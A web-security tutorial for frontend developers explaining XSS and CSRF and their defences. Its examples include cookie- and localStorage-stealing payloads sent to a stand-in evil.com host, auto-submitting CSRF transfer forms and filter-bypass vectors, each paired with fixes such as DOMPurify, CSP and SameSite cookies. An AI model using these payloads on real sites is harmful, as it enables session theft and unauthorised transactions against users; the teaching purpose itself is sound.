XSSCSRFSecurityCookiesCSPInput Sanitization

XSS & CSRF Basics

The two most common web security vulnerabilities every frontend developer must understand. XSS injects malicious scripts into your app. CSRF tricks the browser into making unauthorized requests. Both can compromise every user's account if left unprotected.

24 min read17 sections
01

Overview

XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are the two most common security vulnerabilities in web applications. XSS allows an attacker to inject malicious JavaScript that runs in a victim's browser — stealing tokens, hijacking sessions, or defacing the UI. CSRF tricks the victim's browser into making authenticated requests the user never intended.

They attack from different angles: XSS exploits the trust a user has in a website (the site serves malicious code). CSRF exploits the trust a website has in the user's browser (the browser sends cookies automatically). Understanding both — and how to prevent them — is non-negotiable for frontend developers.

In interviews, security questions separate senior candidates from juniors. "How would you prevent XSS in your app?" and "Explain CSRF and how SameSite cookies help" are common questions that test real-world understanding, not textbook definitions.

Why frontend developers must care

Security isn't just a backend concern. XSS is a frontend vulnerability — it happens because the frontend renders untrusted data. CSRF succeeds because the frontend uses cookies for authentication. Both are prevented (or caused) by frontend decisions.

02

The Problem: Web Security Risks

Web applications are uniquely vulnerable because they run untrusted code (JavaScript) in a trusted environment (the user's browser with their cookies and credentials).

Why Web Apps Are Vulnerabletext
The browser is a hostile environment:

  1. USER INPUT IS EVERYWHERE
     Forms, URLs, query params, headers, file uploads.
     Any input that reaches the DOM without sanitization
     is a potential XSS vector.

  2. JAVASCRIPT HAS FULL ACCESS
     A script running on your page can:
Read document.cookie (steal session tokens)
Read localStorage (steal JWTs)
Make fetch() requests as the user
Modify the DOM (fake login forms)
Capture keystrokes (steal passwords)

  3. COOKIES ARE SENT AUTOMATICALLY
     The browser attaches cookies to EVERY request to
     a domaineven requests triggered by other sites.
     This is what makes CSRF possible.

  4. THIRD-PARTY CODE
     Analytics, ads, chat widgets, CDN scripts
     any compromised dependency can attack your users.

  Attack surface:
  ┌─────────────────────────────────────────────┐
User Input → [Your App] → DOM
  │       ↑           ↑           ↑             │
XSS         XSS        XSS
  │                                             │
Other Site → [Browser] → Your API
  │       ↑           ↑           ↑             │
CSRF       Cookies     CSRF
  └─────────────────────────────────────────────┘
🛡️

Trust Boundary

Everything from the user (input, URLs, uploads) and from third parties (scripts, APIs) is untrusted. Your app must validate and sanitize at every boundary.

🌐

Browser as Attack Vector

The browser executes any JavaScript on the page and sends cookies automatically. Attackers exploit these browser behaviors — they don't need to hack your server.

🏰

Defense in Depth

No single defense is enough. Combine input sanitization, CSP headers, HttpOnly cookies, SameSite flags, and CSRF tokens. Each layer catches what others miss.

The fundamental rule

Never trust user input. Never trust the browser. Validate on the server, sanitize on the client, and use every browser security feature available (CSP, HttpOnly, SameSite, Secure). Security is about making attacks harder at every step.

03

What is XSS?

Cross-Site Scripting (XSS) is an attack where malicious JavaScript is injected into a web application and executed in a victim's browser. The attacker doesn't hack the server — they trick the application into serving their script as if it were legitimate content.

XSS in 30 Secondstext
Normal flow:
  User types "Alice"App displays "Hello, Alice"

XSS attack:
  Attacker types: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
  App displays: Hello, <script>...</script>
  Browser executes the scriptcookies sent to attacker

  The app treated the input as HTML instead of text.
  The browser can't tell the difference between the app's
  legitimate scripts and the attacker's injected script.

  Result: attacker has the user's session cookie and
  can impersonate them on the site.
Vulnerable Code Examplejsx
// ❌ VULNERABLE: Inserting user input as HTML
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// If text = "<img src=x onerror='fetch("https://evil.com/steal?c="+document.cookie)'>"
// The browser loads the broken image, triggers onerror,
// and executes the attacker's JavaScript.

// ❌ VULNERABLE: Vanilla JS with innerHTML
document.getElementById("output").innerHTML = userInput;

// ✅ SAFE: React auto-escapes by default
function Comment({ text }) {
  return <div>{text}</div>;
  // React escapes the text: <script> becomes &lt;script&gt;
  // The browser displays it as text, not as HTML.
}

// ✅ SAFE: Vanilla JS with textContent
document.getElementById("output").textContent = userInput;

React protects you — mostly

React auto-escapes all values rendered in JSX. {userInput} is safe because React converts special characters to HTML entities. The danger is dangerouslySetInnerHTML, which bypasses this protection. The name is a warning — use it only with sanitized content.

04

Types of XSS

XSS comes in three flavors, each with a different injection and execution mechanism.

TypeHow It WorksPersistenceExample
Stored XSSMalicious script is saved in the database (comment, profile, post) and served to every user who views itPermanent — affects all usersAttacker posts a comment with a script tag. Every user who views the comment executes the script.
Reflected XSSMalicious script is embedded in a URL. Server reflects it back in the response without sanitizationOne-time — requires victim to click a crafted linkAttacker sends: site.com/search?q=<script>...</script>. Server renders the query in the page.
DOM-based XSSMalicious script is injected via client-side JavaScript that reads from URL/input and writes to DOMOne-time — requires victim to visit a crafted URLJS reads location.hash and inserts it into innerHTML without sanitization.
Examples of Each Typetext
── Stored XSS ─────────────────────────────────────
  Attacker submits a forum post:
    "Great article! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>"

  Server saves it to the database.
  Every user who views the post executes the script.
Most dangerous: affects ALL users, persists forever.

── Reflected XSS ──────────────────────────────────
  Attacker crafts a URL:
    https://shop.com/search?q=<script>alert('XSS')</script>

  Server renders: "Results for: <script>alert('XSS')</script>"
  Victim clicks the linkscript executes in their browser.
Requires social engineering (phishing email with the link).

── DOM-based XSS ──────────────────────────────────
  Page has JavaScript:
    document.getElementById("greeting").innerHTML =
      "Hello, " + new URLSearchParams(location.search).get("name");

  Attacker crafts: https://app.com?name=<img src=x onerror=alert('XSS')>
  Client-side JS inserts it into the DOMscript executes.
Server never sees the payloadit's entirely client-side.

Stored XSS is the most dangerous

Stored XSS is a "fire and forget" attack — the attacker injects once, and every user who views the content is compromised. Reflected and DOM-based XSS require the victim to click a crafted link. In interviews, always mention stored XSS as the highest-severity variant.

05

How XSS Works

Understanding the attack flow helps you identify where defenses should be placed. Every XSS attack follows the same fundamental pattern.

1

Attacker finds an injection point

Any place where user input is rendered in the page: comment fields, search bars, profile names, URL parameters, file uploads. The attacker tests inputs to see if the app renders them as HTML.

2

Attacker crafts a malicious payload

The payload is JavaScript disguised as user input. It could be a <script> tag, an <img> with an onerror handler, an SVG with embedded JS, or an event handler attribute.

3

Payload reaches the DOM

The app inserts the attacker's input into the page without sanitization. The browser can't distinguish between the app's legitimate code and the injected script.

4

Browser executes the script

The malicious JavaScript runs with full access to the page: it can read cookies, access localStorage, make API calls as the user, modify the DOM, or redirect to a phishing site.

5

Attacker achieves their goal

The script exfiltrates the session token to the attacker's server, or performs actions on behalf of the user (transfer money, change password, post content).

XSS Attack Flow — Token Thefttext
1. Attacker posts a comment on a forum:
   "Nice post! <script>
     fetch('https://evil.com/collect', {
       method: 'POST',
       body: JSON.stringify({
         cookies: document.cookie,
         localStorage: JSON.stringify(localStorage),
         url: window.location.href
       })
     });
   </script>"

2. Server saves the comment to the database (no sanitization).

3. Victim visits the forum page. Browser renders:
   <div class="comment">
     Nice post! <script>fetch('https://evil.com/collect', ...)</script>
   </div>

4. Browser executes the script. Attacker receives:
   {
     cookies: "session_id=abc123; csrf_token=xyz789",
     localStorage: '{"jwt":"eyJhbGciOiJIUzI1NiJ9..."}',
     url: "https://forum.com/post/42"
   }

5. Attacker uses the stolen session/JWT to:
Log in as the victim
Access their account, data, and actions
The victim never knows it happened

XSS payloads are creative

Attackers don't just use <script> tags. They use <img onerror=...>, <svg onload=...>, javascript: URLs, CSS expressions, and dozens of other vectors. Simple blocklisting ("filter out script tags") is never enough — you must escape or sanitize all output.

06

Impact of XSS

XSS is consistently ranked in the OWASP Top 10 because its impact is severe. A single XSS vulnerability can compromise every user of the application.

🔑

Token Theft

The script reads document.cookie or localStorage to steal session tokens and JWTs. The attacker can impersonate the user from any device, anywhere in the world.

👤

Session Hijacking

With the stolen session cookie, the attacker makes API calls as the user: view private data, change settings, make purchases, transfer money.

⌨️

Keylogging

The script adds event listeners to capture every keystroke on the page — passwords, credit card numbers, personal messages. All sent to the attacker's server.

🎭

Phishing / UI Defacement

The script modifies the DOM to show a fake login form. The user thinks they've been logged out, enters credentials, and the attacker captures them.

What an XSS Script Can Dotext
Once malicious JavaScript executes in the victim's browser:

  READ:
document.cookiesteal session tokens
localStoragesteal JWTs, user data
sessionStoragesteal tab-scoped tokens
DOM contentread private page data

  WRITE:
Modify the DOMfake login forms, fake content
Redirect the pagesend user to phishing site
Add event listenerscapture keystrokes, clicks

  SEND:
fetch() / XMLHttpRequestmake API calls as the user
new Image().srcexfiltrate data via image request
WebSocketestablish persistent connection

  The script runs with the SAME privileges as the app's own code.
  The browser cannot tell the difference.

HttpOnly cookies limit the damage

If auth tokens are stored in HttpOnly cookies, XSS cannot read them via document.cookie. The attacker can still make API calls from the page (the browser sends cookies automatically), but they can't exfiltrate the token to use from another machine. This is why HttpOnly cookies are recommended for auth tokens.

07

Preventing XSS

XSS prevention is about ensuring that user input is never treated as executable code. Multiple layers of defense work together.

1

Output encoding / escaping

Convert special characters to HTML entities before rendering. < becomes &lt;, > becomes &gt;, " becomes &quot;. The browser displays them as text, not as HTML. React does this automatically for JSX expressions.

2

Avoid dangerous APIs

Never use innerHTML, dangerouslySetInnerHTML, document.write(), or eval() with user input. Use textContent, React's JSX expressions, or DOM APIs that treat input as text.

3

Sanitize when HTML is required

If you must render user-provided HTML (rich text editor, markdown), use a sanitization library like DOMPurify. It strips dangerous elements (script, onerror) while keeping safe HTML (p, strong, em).

4

Content Security Policy (CSP)

CSP is an HTTP header that tells the browser which scripts are allowed to execute. It blocks inline scripts, eval(), and scripts from unauthorized domains — even if XSS injection succeeds.

5

HttpOnly cookies for auth tokens

Store auth tokens in HttpOnly cookies so JavaScript can't read them. Even if XSS executes, the attacker can't exfiltrate the token. They can still make requests from the page, but can't steal the session.

Prevention Techniquesjsx
// ✅ React auto-escaping (safe by default)
function Comment({ text }) {
  return <p>{text}</p>;
  // "<script>alert('xss')</script>" renders as visible text
}

// ❌ Bypassing React's protection
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
  // ONLY use with sanitized content!
}

// ✅ Sanitize when HTML is needed
import DOMPurify from "dompurify";

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p", "strong", "em", "a", "ul", "li"],
    ALLOWED_ATTR: ["href"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Content Security Policy header
// Set by the server (or meta tag):
// Content-Security-Policy: default-src 'self';
//   script-src 'self' https://cdn.example.com;
//   style-src 'self' 'unsafe-inline';
//   img-src *;
//
// This blocks:
//   • Inline <script> tags (XSS payloads)
//   • eval() and new Function()
//   • Scripts from unauthorized domains
//   • Even if XSS injection succeeds, CSP prevents execution

Defense in depth

No single defense is perfect. React's auto-escaping prevents most XSS, but dangerouslySetInnerHTML bypasses it. DOMPurify sanitizes HTML, but a misconfiguration can miss vectors. CSP blocks inline scripts, but doesn't help if the attacker uses an allowed domain. Layer all defenses together.

08

What is CSRF?

Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks the victim's browser into making an authenticated request to another site. The attacker never sees the victim's credentials — they exploit the fact that the browser sends cookies automatically.

CSRF in 30 Secondstext
Normal flow:
  User is logged into bank.com (session cookie is set)
  User clicks "Transfer $100 to Bob" on bank.com
  Browser sends: POST /transfer { to: "Bob", amount: 100 }
  + Cookie: session_id=abc123 (sent automatically)
  Bank processes the transfer.

CSRF attack:
  User is logged into bank.com (session cookie is set)
  User visits evil.com (attacker's site)
  evil.com contains a hidden form:
    <form action="https://bank.com/transfer" method="POST">
      <input name="to" value="attacker" />
      <input name="amount" value="10000" />
    </form>
    <script>document.forms[0].submit()</script>

  Browser sends: POST /transfer { to: "attacker", amount: 10000 }
  + Cookie: session_id=abc123 (sent automatically!)
  Bank sees a valid session cookieprocesses the transfer.

  The user never intended this. The attacker never saw the cookie.
  The browser just... sent it. Because that's what browsers do.
🌐

Exploits Browser Behavior

Browsers attach cookies to every request to a domain — even requests triggered by other sites. CSRF exploits this automatic cookie inclusion to make authenticated requests.

👻

Attacker Never Sees the Token

Unlike XSS, the attacker doesn't steal the session cookie. They trick the browser into using it. The cookie is sent but never exposed to the attacker's code.

CSRF only works with cookies

CSRF exploits automatic cookie sending. If your app uses Bearer tokens in the Authorization header (from localStorage or memory), CSRF is not possible — the attacker's page can't set custom headers on cross-origin requests. This is one advantage of token-based auth over cookie-based auth.

09

How CSRF Works

CSRF attacks follow a specific pattern. Understanding each step reveals where defenses should be placed.

1

User authenticates with the target site

The user logs into bank.com. The server sets a session cookie: Set-Cookie: session_id=abc123. The browser stores this cookie and will send it with every future request to bank.com.

2

User visits the attacker's site

While still logged into bank.com, the user visits evil.com (via a phishing email, ad, or compromised site). The user doesn't need to do anything special — just loading the page is enough.

3

Attacker's page triggers a cross-site request

evil.com contains a hidden form, image tag, or JavaScript that sends a request to bank.com. The request looks legitimate — it's a normal POST to a real endpoint.

4

Browser attaches cookies automatically

The browser sees a request to bank.com and automatically includes the session_id cookie. It doesn't care that the request originated from evil.com — cookies are attached based on the destination domain.

5

Server processes the authenticated request

bank.com receives the request with a valid session cookie. It has no way to know the request came from evil.com instead of its own page. It processes the transfer.

CSRF Attack Vectorstext
── Hidden Form (POST request) ─────────────────────
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
  </form>
  <script>document.forms[0].submit();</script>

── Image Tag (GET request) ────────────────────────
  <img src="https://bank.com/transfer?to=attacker&amount=10000" />
  (Only works if the server accepts GET for state-changing actions
which is a separate vulnerability)

── Fetch with credentials (limited by CORS) ───────
  fetch("https://bank.com/transfer", {
    method: "POST",
    credentials: "include",  // sends cookies
    body: JSON.stringify({ to: "attacker", amount: 10000 }),
  });
  // CORS blocks this unless bank.com explicitly allows evil.com
  // But form submissions bypass CORS — that's the main vector

── Auto-submitting link ───────────────────────────
  <a href="https://bank.com/delete-account">Click for free prize!</a>
  (Only works for GET-based state changesbad API design)

Forms bypass CORS

CORS (Cross-Origin Resource Sharing) blocks cross-origin fetch/XHR requests. But HTML form submissions are NOT blocked by CORS — they predate CORS and are allowed by default. This is why CSRF primarily uses hidden forms. The browser sends the form POST with cookies, and CORS doesn't intervene.

10

Preventing CSRF

CSRF prevention focuses on ensuring that requests to your server actually originated from your own site, not from an attacker's page.

1

SameSite cookies (primary defense)

Set SameSite=Strict or SameSite=Lax on session cookies. Strict: cookie is never sent on cross-site requests. Lax: cookie is sent on top-level navigations (links) but not on cross-site form submissions or fetch requests.

2

CSRF tokens (traditional defense)

Server generates a unique, unpredictable token per session. The token is embedded in forms and sent as a custom header. The server validates the token on every state-changing request. Attackers can't guess or obtain the token.

3

Check Origin / Referer headers

The server checks the Origin or Referer header on incoming requests. If the request came from a different domain, reject it. Not foolproof (headers can be stripped) but adds a layer.

4

Use non-cookie authentication

If the auth token is sent in the Authorization header (Bearer token from memory/localStorage), CSRF is impossible — the attacker's page can't set custom headers on cross-origin requests.

CSRF Prevention Techniquestext
── SameSite Cookie (simplest, most effective) ─────

  Set-Cookie: session_id=abc123;
    HttpOnly;
    Secure;
    SameSite=Strict;    ← cookie NOT sent on cross-site requests

  evil.com submits form to bank.combrowser does NOT include
  the session cookierequest is unauthenticatedrejected.

  SameSite=Lax: cookie sent on top-level navigations (clicking
  a link to bank.com) but NOT on form submissions or fetch.
  Good balance of security and usability.

── CSRF Token Pattern ─────────────────────────────

  1. Server generates a random token per session:
     csrfToken = "x7k9m2p4..."

  2. Token is embedded in the page (meta tag or cookie):
     <meta name="csrf-token" content="x7k9m2p4..." />

  3. Client sends token with every state-changing request:
     fetch("/api/transfer", {
       method: "POST",
       headers: { "X-CSRF-Token": csrfToken },
       body: JSON.stringify({ to: "Bob", amount: 100 }),
     });

  4. Server validates: does the token in the header match
     the token in the session? If notreject.

  Why it works: evil.com can submit a form to bank.com,
  but it CANNOT read bank.com's page to get the CSRF token,
  and it CANNOT set custom headers on cross-origin requests.

── Origin Header Check ────────────────────────────

  Server checks: request.headers.origin === "https://bank.com"
  If origin is "https://evil.com"reject.
  Simple but not sufficient alone (Origin can be absent).

SameSite=Lax is the modern default

Modern browsers default to SameSite=Lax for cookies that don't specify a SameSite attribute. This means most new applications are partially protected against CSRF by default. But explicitly setting SameSite=Strict and adding CSRF tokens provides the strongest protection.

11

XSS vs CSRF

XSS and CSRF are often confused because both are cross-site attacks. But they work in fundamentally different ways and require different defenses.

DimensionXSSCSRF
What it doesInjects and executes malicious JavaScript in the victim's browserTricks the browser into making an authenticated request the user didn't intend
Exploits trust ofUser trusts the website (site serves malicious code)Website trusts the browser (browser sends cookies automatically)
Steals tokens?Yes — reads cookies, localStorage, DOMNo — uses cookies in-place without reading them
RequiresInjection point (unsanitized user input rendered in DOM)Authenticated session with cookie-based auth
Attack originRuns ON the target site (injected into the page)Runs FROM a different site (cross-origin request)
PreventionOutput encoding, CSP, DOMPurify, avoid innerHTMLSameSite cookies, CSRF tokens, Origin header check
HttpOnly cookies help?Yes — script can't read the cookieNo — cookie is still sent automatically
SameSite cookies help?No — XSS runs on the same siteYes — blocks cross-site cookie sending
Key Distinctiontext
XSS:  Attacker's code runs ON your site
The script IS on bank.com (injected)
It can read cookies, localStorage, DOM
It can do anything the user can do
Defense: prevent script injection (sanitize, CSP)

CSRF: Attacker's code runs on THEIR site
The request comes FROM evil.com TO bank.com
The attacker never sees the cookie
They can only trigger pre-defined actions (form submit)
Defense: verify request origin (SameSite, CSRF token)

Think of it this way:
  XSS  = someone breaks INTO your house and steals your keys
  CSRF = someone tricks you into unlocking your door from outside

XSS can enable CSRF

If an attacker achieves XSS on your site, they can bypass all CSRF protections — the script runs on the same origin, so it can read CSRF tokens from the page and include them in requests. This is why XSS prevention is the higher priority: XSS breaks CSRF defenses, but CSRF doesn't break XSS defenses.

12

Real-World Example

Let's walk through both attacks against a banking application to see how they work in practice and how defenses stop them.

Scenario: Online Banking Apptext
── XSS Attack: Stealing the Session ───────────────

  The banking app has a "notes" feature where users can
  save personal notes. The notes are rendered with innerHTML.

  1. Attacker creates an account and saves a "note":
     <img src=x onerror="
       new Image().src='https://evil.com/steal?c='+document.cookie
     ">

  2. A bank employee views the attacker's account (support tool).
     The note rendersonerror firescookie is sent to evil.com.

  3. Attacker now has the employee's admin session cookie.
     They log in as the admin and access all customer accounts.

  DEFENSE:
Sanitize notes with DOMPurify before rendering
Use textContent instead of innerHTML
Set CSP header to block inline scripts
Store admin session in HttpOnly cookie (can't be read by JS)

── CSRF Attack: Unauthorized Transfer ─────────────

  1. User is logged into bank.com (session cookie is set).

  2. User receives a phishing email: "View your statement"
     Link goes to evil.com/statement.html

  3. evil.com contains:
     <form action="https://bank.com/api/transfer" method="POST">
       <input name="to" value="attacker-account" />
       <input name="amount" value="5000" />
     </form>
     <script>document.forms[0].submit();</script>

  4. Browser sends the form to bank.com WITH the session cookie.
     Bank processes the $5,000 transfer to the attacker.

  DEFENSE:
Set SameSite=Strict on session cookie
Browser won't send cookie from evil.com's form
Require CSRF token in X-CSRF-Token header
Form submission can't set custom headers
Check Origin header on the server
Reject requests from non-bank.com origins
XSS AttackCSRF Attack
Attack vectorMalicious note rendered as HTMLHidden form on evil.com
What attacker getsAdmin session cookie (full access)One unauthorized transfer
User interactionNone (just viewing the page)Clicking a phishing link
Token stolen?Yes — cookie exfiltrated to evil.comNo — cookie used in-place
Primary defenseSanitize output + CSP + HttpOnlySameSite cookie + CSRF token

XSS is usually worse

In this example, XSS gave the attacker full admin access (they stole the session). CSRF only triggered one transfer. XSS is generally higher severity because the attacker can do anything the victim can do, while CSRF is limited to pre-defined actions (form submissions).

13

Security Best Practices

A comprehensive security posture combines multiple defenses. Here are the practices every frontend application should implement.

✓ Done

Never Trust User Input

Validate on the server, sanitize on the client. Every input — form fields, URL params, headers, file uploads — is a potential attack vector. Treat all input as hostile.

✓ Done

Use HttpOnly + Secure + SameSite Cookies

HttpOnly prevents XSS from reading cookies. Secure ensures HTTPS-only transmission. SameSite prevents CSRF. Always set all three flags on auth cookies.

✓ Done

Implement Content Security Policy

CSP headers tell the browser which scripts, styles, and resources are allowed. Block inline scripts, eval(), and unauthorized domains. Even if XSS injection succeeds, CSP prevents execution.

→ Could add

Keep Dependencies Updated

Third-party packages are a major attack vector. A compromised npm package can inject XSS into your app. Use npm audit, Dependabot, and lock files to catch vulnerabilities early.

Security Headers Checklisttext
Essential HTTP headers for frontend security:

Content-Security-Policy: default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https:;
  connect-src 'self' https://api.example.com;
Blocks inline scripts, eval(), unauthorized script sources

X-Content-Type-Options: nosniff
Prevents browser from MIME-sniffing (treating text as script)

X-Frame-Options: DENY
Prevents your site from being embedded in iframes (clickjacking)

Strict-Transport-Security: max-age=31536000; includeSubDomains
Forces HTTPS for all future requests (HSTS)

Referrer-Policy: strict-origin-when-cross-origin
Controls how much URL info is sent in Referer header

Permissions-Policy: camera=(), microphone=(), geolocation=()
Disables browser APIs you don't need

Security is a spectrum

You can't make an app 100% secure. The goal is to make attacks expensive and difficult. Each defense layer (sanitization, CSP, HttpOnly, SameSite, CSRF tokens) raises the bar. An attacker must bypass ALL layers to succeed.

14

Common Mistakes

These mistakes are found in production applications every day. Each one is a real vulnerability waiting to be exploited.

🔓

Using innerHTML with user input

Rendering user-provided content with innerHTML or dangerouslySetInnerHTML without sanitization. This is the #1 cause of XSS in modern web apps.

Use textContent or React's JSX expressions (auto-escaped). If HTML is required, sanitize with DOMPurify before rendering. Never trust raw user HTML.

🍪

Storing tokens in localStorage without XSS protection

Putting JWTs in localStorage with no CSP, no input sanitization, and third-party scripts loaded. One XSS vulnerability exposes every user's token.

Use HttpOnly cookies for auth tokens. If localStorage is necessary, enforce strict CSP, sanitize all inputs, and keep tokens short-lived.

🚫

No CSRF protection on state-changing endpoints

POST/PUT/DELETE endpoints that rely solely on session cookies for authentication. Any site can submit a form to these endpoints with the user's cookies.

Set SameSite=Strict on session cookies. Add CSRF token validation on all state-changing endpoints. Check the Origin header as an additional layer.

📝

Blocklist-based XSS filtering

Filtering out <script> tags but allowing other vectors like <img onerror=...>, <svg onload=...>, javascript: URLs, and CSS expressions. Attackers have hundreds of bypass techniques.

Use allowlist-based sanitization (DOMPurify with ALLOWED_TAGS). Or better: escape all output by default (React does this) and only allow HTML through a sanitizer when explicitly needed.

🔑

Missing HttpOnly flag on session cookies

Session cookies readable by JavaScript. Any XSS vulnerability allows the attacker to steal the session and use it from their own machine.

Always set HttpOnly on auth cookies. The cookie is still sent with requests (authentication works), but JavaScript can't read it (XSS can't steal it).

⚙️

No Content Security Policy

Running without CSP headers. Even if you sanitize inputs, a compromised third-party script or a missed injection point can execute arbitrary JavaScript.

Implement CSP headers. Start with a report-only policy to identify violations, then enforce. Block inline scripts, eval(), and unauthorized script sources.

15

Interview Questions

Security questions are common in senior frontend interviews. Strong answers explain the attack mechanism, impact, and prevention — not just definitions.

Q:What is XSS and how do you prevent it?

A: XSS (Cross-Site Scripting) is an attack where malicious JavaScript is injected into a web page and executed in the victim's browser. It can steal cookies, hijack sessions, and perform actions as the user. Prevention: (1) Output encoding — escape special characters (React does this by default). (2) Avoid innerHTML/dangerouslySetInnerHTML with user input. (3) Use DOMPurify when HTML rendering is required. (4) Implement CSP headers to block inline scripts. (5) Store auth tokens in HttpOnly cookies.

Q:What is the difference between XSS and CSRF?

A: XSS injects malicious code INTO your site — the script runs on your domain with full access to cookies, localStorage, and DOM. CSRF tricks the browser into sending a request FROM another site — the attacker's page submits a form to your API, and the browser includes cookies automatically. XSS steals tokens; CSRF uses them in-place. XSS is prevented by sanitization and CSP; CSRF is prevented by SameSite cookies and CSRF tokens.

Q:How does CSRF work and how do SameSite cookies prevent it?

A: CSRF works because browsers send cookies with every request to a domain, regardless of which site initiated the request. An attacker's page can submit a form to bank.com, and the browser includes the session cookie. SameSite=Strict prevents this: the browser only sends the cookie if the request originates from the same site. SameSite=Lax allows cookies on top-level navigations (clicking links) but blocks them on cross-site form submissions and fetch requests.

Q:What are the three types of XSS?

A: Stored XSS: malicious script is saved in the database (comment, profile) and served to every user who views it — most dangerous, affects all users. Reflected XSS: script is embedded in a URL and reflected back by the server without sanitization — requires victim to click a crafted link. DOM-based XSS: client-side JavaScript reads from URL/input and inserts into the DOM without sanitization — entirely client-side, server never sees the payload.

Q:Why is React relatively safe from XSS?

A: React auto-escapes all values rendered in JSX expressions. When you write {userInput}, React converts < to <, > to >, etc. The browser displays them as text, not HTML. The main XSS risk in React is dangerouslySetInnerHTML, which bypasses this protection. Other risks: href attributes with javascript: URLs, and server-side rendering that doesn't escape properly.

Q:What is Content Security Policy (CSP)?

A: CSP is an HTTP header that tells the browser which resources (scripts, styles, images) are allowed to load and execute. It blocks inline scripts (the most common XSS vector), eval(), and scripts from unauthorized domains. Even if an attacker injects a <script> tag via XSS, CSP prevents the browser from executing it. CSP is a defense-in-depth layer — it catches XSS that bypasses sanitization.

Q:Can XSS bypass CSRF protections?

A: Yes. If an attacker achieves XSS on your site, they can read CSRF tokens from the page (they're in the DOM or meta tags), read SameSite cookies (the script runs on the same origin), and make authenticated requests with all protections included. This is why XSS prevention is the higher priority — XSS breaks CSRF defenses. CSRF protections assume the attacker is on a different origin.

Q:How would you secure a form that accepts user-generated HTML (like a rich text editor)?

A: Use an allowlist-based sanitizer like DOMPurify. Configure it to allow only safe tags (p, strong, em, a, ul, li) and safe attributes (href, class). Strip everything else — script tags, event handlers (onerror, onload), javascript: URLs, style attributes. Sanitize on both client (before rendering) and server (before storing). Add CSP headers as a backup. Never render raw user HTML without sanitization.

16

Practice Section

These scenarios test your ability to identify vulnerabilities and apply the right defenses — exactly what security-focused interviews assess.

1

A social media app lets users set a custom 'bio' that's displayed on their profile. The bio is rendered using dangerouslySetInnerHTML to support bold and italic formatting. No sanitization is applied.

What vulnerability exists and how would you fix it?

Answer: This is a Stored XSS vulnerability. An attacker can set their bio to an img tag with an onerror handler, and every user who views their profile executes the script. Fix: sanitize the bio with DOMPurify before rendering, allowing only safe tags (p, strong, em). Better: use a structured format (Markdown) and render it with a safe Markdown library instead of raw HTML. Add CSP headers to block inline scripts as a backup.

2

An e-commerce site uses session cookies for authentication (no SameSite attribute set, no CSRF tokens). The 'Add to Cart' and 'Place Order' endpoints accept POST requests with just the session cookie for auth.

How could an attacker exploit this, and what defenses would you add?

Answer: CSRF attack: an attacker creates a page with a hidden form that POSTs to the 'Place Order' endpoint. When a logged-in user visits the attacker's page, the browser submits the form with the session cookie, placing an order the user didn't intend. Defenses: (1) Set SameSite=Strict on the session cookie. (2) Add CSRF token validation — server generates a token, client sends it in a custom header (X-CSRF-Token), server validates it. (3) Check the Origin header on all POST requests.

3

A search page displays the search query in the results: 'Results for: [query]'. The query comes from the URL parameter (?q=...) and is inserted into the page using document.getElementById('results-title').innerHTML = query.

What type of XSS is this, and how do you fix it?

Answer: This is DOM-based XSS (or Reflected XSS if the server also renders the query). An attacker crafts a URL: site.com/search?q=<script>alert('xss')</script> and sends it to a victim. Fix: use textContent instead of innerHTML — it treats the input as text, not HTML. In React, use JSX expressions: <h1>Results for: {query}</h1> (auto-escaped). Also validate/sanitize the query parameter on the server side.

4

Your app stores JWTs in localStorage and sends them in the Authorization header. A security auditor says this is vulnerable. Your team argues that since you don't use cookies, CSRF is impossible.

Is the team correct about CSRF? What vulnerability remains?

Answer: The team is correct that CSRF is impossible — CSRF exploits automatic cookie sending, and Authorization headers are not sent automatically. However, the app is vulnerable to XSS token theft. Any XSS vulnerability allows the attacker to read localStorage.getItem('jwt') and exfiltrate the token. Fix: move the JWT to an HttpOnly cookie (XSS can't read it). If localStorage is required, enforce strict CSP, sanitize all inputs, and keep tokens short-lived (5-15 min).

5

A developer implements XSS protection by filtering out the string '<script>' from all user inputs before saving to the database. They believe this prevents XSS.

Why is this insufficient, and what should they do instead?

Answer: Blocklist filtering is trivially bypassed. Attackers use: <img onerror=...>, <svg onload=...>, <body onload=...>, <input onfocus=... autofocus>, javascript: URLs, mixed case (<ScRiPt>), encoding tricks, and dozens more vectors. The correct approach: (1) Output encoding — escape all special characters when rendering (React does this). (2) If HTML is needed, use allowlist-based sanitization (DOMPurify) that only permits safe tags. (3) Add CSP headers. Never rely on blocklists.

17

Cheat Sheet

Quick-reference summary for interviews and security reviews.

Quick Revision Cheat Sheet

XSS: Attacker injects malicious JavaScript that runs in the victim's browser

CSRF: Attacker tricks the browser into making an authenticated request the user didn't intend

XSS exploits: Trust the user has in the website (site serves malicious code)

CSRF exploits: Trust the website has in the browser (browser sends cookies automatically)

XSS steals tokens?: Yes — reads cookies, localStorage, DOM

CSRF steals tokens?: No — uses cookies in-place without reading them

Stored XSS: Script saved in DB, served to all users — most dangerous

Reflected XSS: Script in URL, reflected by server — requires clicking a link

DOM-based XSS: Client-side JS inserts URL input into DOM — entirely client-side

Prevent XSS: Output encoding (React auto-escapes), DOMPurify, CSP, avoid innerHTML

Prevent CSRF: SameSite=Strict cookies, CSRF tokens, Origin header check

HttpOnly cookie: JS can't read it — prevents XSS token theft

SameSite=Strict: Cookie not sent on cross-site requests — prevents CSRF

CSP header: Blocks inline scripts, eval(), unauthorized script sources

XSS breaks CSRF defenses: Yes — XSS on same origin can read CSRF tokens and bypass SameSite

Rule #1: Never trust user input. Validate server-side, sanitize client-side.